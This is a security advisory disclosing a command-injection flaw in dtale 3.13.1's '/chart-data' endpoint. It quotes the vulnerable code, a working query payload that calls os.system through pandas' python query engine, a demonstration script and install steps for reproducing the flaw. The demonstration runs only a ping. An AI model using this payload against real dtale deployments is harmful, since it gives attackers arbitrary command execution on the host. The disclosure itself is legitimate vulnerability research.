Description

credit:Aftersnows

Here is an analysis of the reasons for the vulnerability:

In dtale\\views.py, under the route @dtale.route("/chart-data/<data_id>"), the query parameters from the request are directly passed into run_query for execution.

@dtale.route("/chart-data/<data_id>")
    data = run_query(
        handle_predefined(data_id),
        build_query(data_id, get_str_arg(request, "query")),
        global_state.get_context_variables(data_id),
    )

And the run_query function calls proceed without performing any processing or sanitization of the query parameter. As a result, the query is directly used in the df.query method for data retrieval.

def run_query(
    df,
    query,
    context_vars=None,
    ignore_empty=False,
    pct=100,
    pct_type="random",
    stratified_group=None,
    highlight_filter=False,
):
    is_pandas25 = check_pandas_version("0.25.0")
    curr_app_settings = global_state.get_app_settings()
    engine = curr_app_settings.get("query_engine", "python")
    filtered_indexes = []
    if highlight_filter:
        filtered_indexes = set(
            df.query(
                query if is_pandas25 else query.replace("`", ""),
                local_dict=context_vars or {},
                engine=engine,
            ).index
        )
    else:
        df = df.query(
            query if is_pandas25 else query.replace("`", ""),
            local_dict=context_vars or {},
            engine=engine,
        )

Moreover, the engine used is "python":

engine = curr_app_settings.get("query_engine", "python")

Therefore, executing the following query expression can lead to a command execution vulnerability:

[email protected].__import__("os").system("""ping google.com #""")

Here I provide a demonstration that can cause command execution, to make it clearer and more observable

import pandas as pd

print(pd.__version__)
# 创建示例 DataFrame
df = pd.DataFrame({'a': [1, 2, 3], 'b': ['error_details', 'confidential_info', 'normal']})

# 尝试执行查询
query = '@pd.core.frame.com.builtins.__import__("os").system("""ping google.com #""")'
try:
    engine = "python"
    result = df.query(query,local_dict={},engine="python",).index
except Exception as e:
    print(f'Error: {e}')

Proof of Concept

credit:Aftersnows@360 Vulnerability Research Institute

Environment Replication:

To set up and start dtale, you would typically follow these steps:

pip install 'dtale==3.13.1'
dtale

Then, by sending a malicious request, you can trigger the vulnerability.

Here, I choose to ping Google as a Proof of Concept (PoC) to demonstrate the vulnerability. In reality, this type of vulnerability could allow full control of the machine.